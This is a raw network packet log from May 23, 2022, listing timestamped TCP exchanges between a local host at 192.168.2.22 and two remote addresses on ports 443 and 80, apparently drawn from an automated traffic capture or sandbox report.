May 23, 2022 09:56:39.163866997 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.163934946 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.164463997 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.355254889 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.355338097 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.355402946 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.355424881 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.355448008 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.355460882 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.355473042 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.355478048 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.355489969 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.355495930 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.355514050 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.355520964 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.355529070 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.355551004 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.355635881 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.355647087 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.355654001 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.355660915 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.355693102 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.355710030 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.355731010 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.355736017 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.355767965 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.355777979 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.355896950 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.355946064 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.355957985 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.355964899 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.355984926 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.355999947 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.356147051 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.356158018 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.356225014 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.356230974 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.356239080 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.356283903 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.356405973 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.356456041 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.356463909 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.356471062 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.356508970 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.356671095 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.356720924 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.356729031 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.356735945 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.356772900 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.356786013 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.357294083 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.548598051 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.548659086 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.548794985 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.548877001 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.548897982 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.548913956 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.548981905 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.548998117 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.549053907 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.549088955 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.549098969 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.549139977 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.549165010 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.549256086 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.549309015 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.549381018 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.549393892 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.549427986 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.549460888 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.549468994 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.549483061 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.549529076 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.549551010 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.549561977 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.549613953 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.549645901 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.549727917 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.549777985 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.549819946 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.549833059 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.549861908 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.549889088 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.549905062 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.549953938 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.549994946 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.550004959 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.550033092 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.550061941 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.550105095 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.550134897 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.550153971 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.550178051 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.550187111 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.550219059 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.550247908 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.550342083 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.550393105 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.550441027 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.550451040 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.550468922 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.550478935 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.550513029 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.550518990 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.550529957 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.550548077 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.550605059 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.550617933 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.567589998 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.569670916 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.569695950 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:41.495456934 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.557823896 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.557905912 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.558573008 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.620774984 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.635432005 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.635478973 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.635513067 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.635549068 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.635549068 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.635567904 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.635585070 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.635586023 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.635587931 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.635601044 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.635602951 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.635618925 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.635621071 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.635632038 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.635639906 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.635644913 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.635658979 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.635677099 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.635689974 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.639022112 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.697994947 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.698051929 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.698081017 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.698095083 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.698111057 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.698129892 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.698136091 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.698173046 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.698175907 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.698210955 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.698215008 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.698250055 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.698255062 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.698295116 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.698297024 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.698337078 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.698338985 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.698370934 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.698378086 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.698411942 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.698419094 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.698455095 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.698457956 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.698494911 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.699141979 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.760571003 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.760622978 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.760704994 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.760730028 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.760740995 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.760754108 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.760755062 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.760777950 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.760785103 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.760802984 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.760809898 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.760827065 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.760835886 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.760850906 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.760859966 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.760875940 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.760885000 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.760900021 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.760911942 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.760924101 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.760932922 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.760948896 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.760957003 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.760972977 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.760982990 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.761003971 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.761038065 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.761061907 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.761080027 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.761085987 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.761091948 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.761111021 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.761121035 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.761135101 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.761143923 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.761161089 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.761171103 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.761185884 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.761193037 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.761209965 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.761219025 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.761234045 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.761241913 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.761257887 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.761265993 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.761282921 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.761293888 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.761316061 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.761624098 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.762437105 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.823298931 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.823354006 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.823385954 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.823395014 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.823415041 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.823431015 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.823440075 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.823476076 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.823478937 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.823518038 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.823523998 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.823560953 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.823565006 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.823600054 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.823605061 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.823638916 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.823646069 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.823683023 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.823684931 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.823719978 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.823725939 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.823762894 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.823767900 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.823802948 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.823807001 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.823842049 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.823847055 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.823880911 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.823888063 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.823920012 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.823923111 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.823952913 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.823961020 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.823997974 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.823999882 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.824008942 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.824037075 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.824040890 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.824078083 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.824081898 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.824117899 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.824121952 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.824157000 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.824162006 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.824192047 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.824198008 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.824225903 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.824702978 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.825001001 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.825043917 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.825050116 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.825081110 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.825084925 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.825119972 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.825124979 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.825162888 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.825165987 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.825202942 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.825206041 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.825236082 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.825241089 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.825267076 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.825277090 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.825313091 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.825316906 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.825352907 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.825356960 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.825392008 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.825397968 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.825433016 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.825437069 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.825474977 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.825478077 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.825509071 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.825514078 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.825541019 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.825550079 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.825563908 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.825584888 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.826000929 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.827754021 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.886570930 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.886610985 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.886639118 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.886642933 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.886668921 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.886677027 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.886681080 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.886710882 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.886759043 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.886790037 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.886792898 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.886821032 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.886825085 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.886851072 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.886862040 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.886885881 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.886889935 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.886941910 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.886950970 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.886976004 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.886976004 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.887007952 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.887010098 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.887039900 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.887041092 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.887073040 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.887077093 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.887104034 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.887110949 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.887136936 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.887139082 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.887168884 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.887176037 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.887201071 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.887204885 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.887234926 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.887242079 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.887264967 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.887274027 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.887294054 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.887301922 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.887326956 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.887337923 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.887357950 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.887362003 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.887387991 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.887401104 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.887420893 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.887427092 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.887453079 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.887461901 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.887484074 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.887491941 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.887520075 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.887531042 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.887552977 CEST	80	49174	185.86.13.242	192.168.2.22
